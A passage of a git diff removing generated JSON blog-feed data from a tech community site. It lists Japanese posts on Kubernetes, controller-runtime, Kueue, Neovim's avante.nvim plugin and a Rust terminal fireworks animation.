cont...","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","link":"https://zenn.dev/bells17/articles/docker-buildx","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime Deep Dive","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\r\rセッション動画はこちらです。\rhttps://youtu.be/jCyt993dzaU\r\r以下スライドで紹介しているリンク:\r\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \r\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \rmoco(MySQL Operator): https://github.com/cybozu-go/moco \rlogging-operator: https://github.com/banzaicloud/logging-operator \ristio(Service Mesh): https://github.com/istio/istio","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime clientについて","link":"https://zenn.dev/bells17/articles/controller-runtime-client","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"Kueueアーキテクチャ/Kueue Architecture","link":"https://speakerdeck.com/bells17/kueue-architecture","contentSnippet":"参考リンク一覧:\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\rDesign Docs(controller): https://bit.ly/kueue-controller-design \rDesign Docs(API): https://bit.ly/kueue-apis \rOld Proposal: https://bit.ly/k8s-job-management \r\r---\r\rhttps://youtu.be/CFUfw3cMNI8?t=724\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kueue入門/Kueue Introduction","link":"https://speakerdeck.com/bells17/kueue-introduction","contentSnippet":"#k8sjp 第50回のLT資料です\rhttps://k8sjp.connpass.com/event/244591/","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"zennの執筆環境向けdevcontainerを作成した話","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","link":"https://speakerdeck.com/bells17/cluster-autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\rhttps://k8sjp.connpass.com/event/240993/\r\r配信URL:\rhttps://youtu.be/KOrantQgXkI?t=2258","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","contentSnippet":"NetApp INSIGHT Japan 2022\rhttps://insight.netapp.com/ja/\r\rvideo: http://netapp.tv/details/28744\r\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/nwiizo.json b/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/nwiizo.json deleted file mode 100644 index 3835e13294..0000000000 --- a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/nwiizo.json +++ /dev/null @@ -1 +0,0 @@ -{"pageProps":{"member":{"id":"nwiizo","name":"nwiizo","role":"Software Developer","bio":"The Passionate Programmer","avatarSrc":"/avatars/nwiizo.jpeg","sources":["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],"includeUrlRegex":"","twitterUsername":"nwiizo","githubUsername":"nwiizo","websiteUrl":"https://nwiizo.github.io/"},"postItems":[{"title":"NeovimをCursorのように進化させる - yetone/avante.nvim の導入","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406","contentSnippet":"「もはやCopilotなしでは開発できない」Cursorが体験として革新的すぎる」Clineこそ俺達が求めていたものだ!」とにかく新世代のAIエディターが最高!」 はじめに開発者のタイムラインを開けば、そんな投稿で溢れかえっています。確かに、AIによる開発支援は革新的で、プログラミングの未来を感じさせるものです。特に最近では、単なるコード補完を超えて、より多機能なAIアシスタントとしての役割を担うツールが増えてきています。実は、愛用のNeovimでもこうした最新のAI機能を導入できるんです。しかも、使い慣れたキーバインドやプラグインはそのまま。今回はavante.nvimというプラグインを使って、NeovimをAIパワード開発環境へと進化させる方法をご紹介します。github.comこのプラグインは、私たちvimmerにとって既に身近な存在であるcopilot.luaのような補完機能を超えて、より包括的なAI支援を実現します。コードの理解、リファクタリング、そして対話的なアシスタント機能まで、新世代のAIエディターが持つ機能をNeovimで実現できるのです。これまでのvimmerは、copilot.luaのようなシンプルで効率的なコード補完ツールを活用してきました。しかし、新世代のAIエディターは、コードの解析、リファクタリングの提案、そしてより高度なコンテキスト理解を備えています。この進化に対して、私たちvimmerはどのように向き合うべきでしょうか?でも、待ってください。私たち Vimmer はどうすれば...? 長年磨き上げてきたNeovimを捨てて、新しいエディターに移行しなければいけないのでしょうか?いいえ、Neovimはもっと強くなれます。Neovimの最大の魅力は、その圧倒的なカスタマイズ性。それは単なるIDE(統合開発環境)ではなく、PDE(Personal Development Environment:個人開発環境)とも呼べる存在です。まるで自分だけの剣を鍛え上げていくように、エディターと共に成長していける。そんな独特の魅力がNeovimにはあります。私たちは常にNeovimを進化させ、新しい可能性を追求してきました。copilot.luaがその一例です。そして今、avante.nvimによって、さらなる進化の時が来ています。Neovim 以外の話はこちらです。laiso.hatenablog.comavante.nvim とはavante.nvimは、Cursor AI IDEの機能を模倣することを目的として開発されたNeovimプラグインです。AI駆動のコード提案機能を提供し、その提案を直接ソースファイルに適用できる機能を備えています。デモ動画こういう経験がサクッと得られるのでよいです。 https://t.co/x7S08l06v9 pic.twitter.com/X4mvE2c2H7— nwiizo (@nwiizo) 2025年1月7日 subを追加する例です。 https://t.co/x7S08l06v9 pic.twitter.com/EyjDkdzP9c— nwiizo (@nwiizo) 2025年1月7日 Note: GitHub上にデモ動画がありますが、実際の動作の様子を簡単に説明させていただきます:avante.nvimを使用すると、画面右側にAIアシスタントのサイドバーが表示され、現在開いているコードについて対話形式で質問や提案を行うことができます。コードの変更提案は差分形式で表示され、ワンクリックで適用することができます。まさにCursor AI IDEのような操作感を、Neovim上で実現しています。実際の動作については、GitHubのリポジトリでも確認することができます。特徴的な機能AIによるコードアシスタント: 現在のコードファイルについてAIに質問し、インテリジェントな提案を受けることができますワンクリック適用: AIの提案をシンプルなコマンドで即座にソースコードに反映できます他の生成AIとの連携: デフォルトのClaudeに加え、ChatGPTやGitHub Copilotを活用したコード提案が可能ですセットアップ方法lazy.nvimを使用した場合の設定例を紹介します。avante.nvimはデフォルトではCursorのように高度なAI機能を利用するように設定されていますが、他にもChatGPTやAzureなども指定できますが今回はより手軽に利用できるGitHub Copilotをプロバイダーとして設定します。これにより、Copilotのライセンスさえあれば、追加のAPIキーの設定なしでAI支援機能を利用することができます。以下が具体的な設定例です。{ \"yetone/avante.nvim\", event = \"VeryLazy\", lazy = false, version = false, opts = { provider = \"copilot\", auto_suggestions_provider = \"copilot\", -- 動作設定 behaviour = { auto_suggestions = false, auto_set_highlight_group = true, auto_set_keymaps = true, auto_apply_diff_after_generation = false, support_paste_from_clipboard = false, minimize_diff = true, }, -- ウィンドウ設定 windows = { position = \"right\", -- サイドバーの位置 wrap = true, -- テキストの折り返し width = 30, -- サイドバーの幅 -- その他の詳細設定は省略 }, }, -- 依存関係の設定 dependencies = { -- 必須の依存関係 \"stevearc/dressing.nvim\", \"nvim-lua/plenary.nvim\", \"MunifTanjim/nui.nvim\", -- オプションの依存関係 \"hrsh7th/nvim-cmp\", \"nvim-tree/nvim-web-devicons\", \"zbirenbaum/copilot.lua\", -- その他の拡張機能 }}私の設定はこちらです。github.com主要なキーマッピングデフォルトで以下のキーマッピングが利用可能です。主にこちらから利用していきます。aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。","isoDate":"2025-01-07T13:04:06.000Z","dateMiliSeconds":1736255046000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで花火アニメーションと新年メッセージを作ろう","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/04/120812","contentSnippet":"はじめに私がRustという言語と再び出会ったのは、暮れも押し詰まった頃のことだった。シェアハウスの六畳一間の部屋で、誰かの足音の気配だけを感じながら、画面に向かっていた。シェアハウスの共用キッチンからは時折、誰かの料理する音が漏れ聞こえてくるが、年末だというのに妙に静かだった。メモリ安全性という言葉に惹かれたわけでも、高パフォーマンスに心を奪われたわけでもない。ただ、この年の瀬に、誰にも見せることのない花火を打ち上げたかっただけなのだ。深夜のターミナル画面に、デジタルの花を咲かせれば、少しは華やかな年越しになるかもしれない。そんな打算的な期待を胸に、私はコードを書き始めた。年末最後の実装でもバグを出してしまい、『来年もきっと、たくさんの失敗をして恥ずかしいコードを書くことになるだろうな』と考えていました。https://t.co/34hgesMGQu pic.twitter.com/k7f7GyqLoT— nwiizo (@nwiizo) 2025年1月2日 準備まずは、以下の外部クレートをインストールします。chrono: 日付と時刻を扱うためのクレートcolored: ターミナル出力に色をつけるためのクレートrand: 乱数を生成するためのクレートCargo.tomlに以下の行を追加してください。[dependencies]rand = \"0.8\"colored = \"2.0\"chrono = \"0.4\"構造体と列挙型の詳細Fireworkとその周辺の構造体struct Firework { x: f64, // x座標 y: f64, // y座標 velocity: f64, // 上昇速度 particles: Vec, // 爆発後のパーティクル exploded: bool, // 爆発したかどうか color: Color, // 花火の色 sparkles: Vec, // 打ち上げ時の火花}struct Sparkle { x: f64, // 火花のx座標 y: f64, // 火花のy座標 lifetime: i32, // 火花の寿命}Firework構造体は花火1発分の情報を管理します。打ち上げ時にはexplodedがfalseで、上昇中の花火を表示。爆発後はexplodedがtrueとなり、particlesに格納された粒子が広がっていきます。sparklesは打ち上げ中の火花を表現するために使用されます。Particleの詳細struct Particle { x: f64, // x座標 y: f64, // y座標 vx: f64, // x方向の速度 vy: f64, // y方向の速度 lifetime: i32, // パーティクルの寿命 char: char, // 表示する文字 color: Color, // パーティクルの色 trail: Vec<(f64, f64)>, // 軌跡の座標履歴}Particleは爆発後の火花を表現します。物理演算で放物線を描くように、速度と重力の影響を受けます。trailは軌跡を表示するために過去の座標を記録しています。色の実装#[derive(Clone, Copy)]enum Color { Red, Green, Blue, Yellow, Magenta, Cyan, Rainbow, // 時間とともに色が変化 Silver, // 明滅する白 Gold, // 明滅する黄色 Pearl, // 白と水色で明滅}Colorは単色だけでなく、Rainbowのような動的な色変化や、Silver/Gold/Pearlのような明滅効果も実装しています。get_colored_charメソッドで、時間(フレーム数)に応じた色を返します。アニメーションの仕組み花火の更新処理impl Firework { fn update(&mut self) { if !self.exploded { self.y -= self.velocity; // 上昇 // 確率で火花を追加 if rand::thread_rng().gen_bool(0.3) { self.sparkles.push(Sparkle {...}); } // 一定の高さで爆発 if self.y <= rand::thread_rng().gen_range(5.0..15.0) { self.explode(); } } else { // パーティクルの更新と寿命切れの除去 for particle in &mut self.particles { particle.update(); } self.particles.retain(|p| p.lifetime > 0); } }}花火は打ち上げ時と爆発後で異なる動きをします。打ち上げ中は上昇しながら火花を散らし、一定の高さで爆発。爆発後は多数のパーティクルが放物線を描きながら広がります。描画処理の工夫fn draw_frame(fireworks: &Vec, frame_count: u32) { // 背景に星を表示(10フレームごとに配置を変える) if frame_count % 10 == 0 { for _ in 0..50 { let x = rand::thread_rng().gen_range(0..100); let y = rand::thread_rng().gen_range(0..30); frame[y][x] = ('·', Some(Color::Silver)); } } // 各花火の描画 for firework in fireworks { // 打ち上げ火花の描画 for sparkle in &firework.sparkles { let x = sparkle.x as usize; let y = sparkle.y as usize; frame[y][x] = ('。', Some(Color::Pearl)); } if !firework.exploded { // 上昇中の花火 frame[y][x] = ('⁂', Some(firework.color)); } else { // 爆発後のパーティクル for particle in &firework.particles { // 軌跡の描画 for (i, (trail_x, trail_y)) in particle.trail.iter().enumerate() { let char = match i { 0 => '.', 1 => '·', _ => '°', }; frame[y][x] = (char, Some(particle.color)); } } } }}描画処理では、まず背景に点滅する星を配置し、その上に花火を重ねていきます。パーティクルの軌跡は徐々に薄くなるように文字を変えています。これにより、より自然な花火の表現を実現しています。アニメーションとメッセージ表示最後に、main関数でアニメーションとメッセージ表示を行います。fn main() { let year = Local::now().year(); // 現在の年を取得 let mut fireworks = Vec::new(); let mut frame_count = 0; loop { // 花火を追加 if frame_count % 15 == 0 && fireworks.len() < 8 { fireworks.push(Firework::new(rand::thread_rng().gen_range(10.0..90.0))); } // 花火を更新して描画 for firework in &mut fireworks { firework.update(); } draw_frame(&fireworks, frame_count); fireworks.retain(|f| !f.is_done()); thread::sleep(Duration::from_millis(40)); frame_count += 1; // 一定時間後にメッセージを表示 if frame_count > 300 { clear_screen(); display_new_year_message(year); break; } }}ループ内で、一定の間隔で新しい花火を追加し、既存の花火を更新して描画しています。300フレーム後には、display_new_year_message関数を呼び出して新年のメッセージを表示します。この関数では、ASCIIアートを使ってメッセージを作成し、coloredクレートで色をつけています。まとめ結局、プログラムは年越しに間に合わなかった。シェアハウスの他の住人たちは、それぞれの実家や友人たちの元へと消えていき、廊下は一層静かになっていた。コンパイラの指摘する数々のエラーと向き合ううち、除夜の鐘が鳴り響き、新年は音もなく明けてしまった。しかし不思議なことに、深夜2時、ようやく完成したプログラムが描き出す花火の光に、私は密かな充実感を覚えていた。誰にも見せることはないだろうこの花火は、確かに私だけの新年を祝福していたのだから。来年は少し早めに取り掛かろう。もっとも、来年も誰かと過ごすことになるとは限らないが。これは私の経験則である。知らんけど。完全なコードは以下の通りです。github.com","isoDate":"2025-01-04T03:08:12.000Z","dateMiliSeconds":1735960092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"アーキテクチャ設計の民主化とADR(Architectural Decision Records)による意思決定の未来 - Facilitating Software Architecture の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/31/232546","contentSnippet":"年末年始の慌ただしい時期に、数ある選択肢の中からこちらの記事をお読みいただき、誠にありがとうございます。人生を定期的に振り返ることには、本書で取り上げられているADR(Architecture Decision 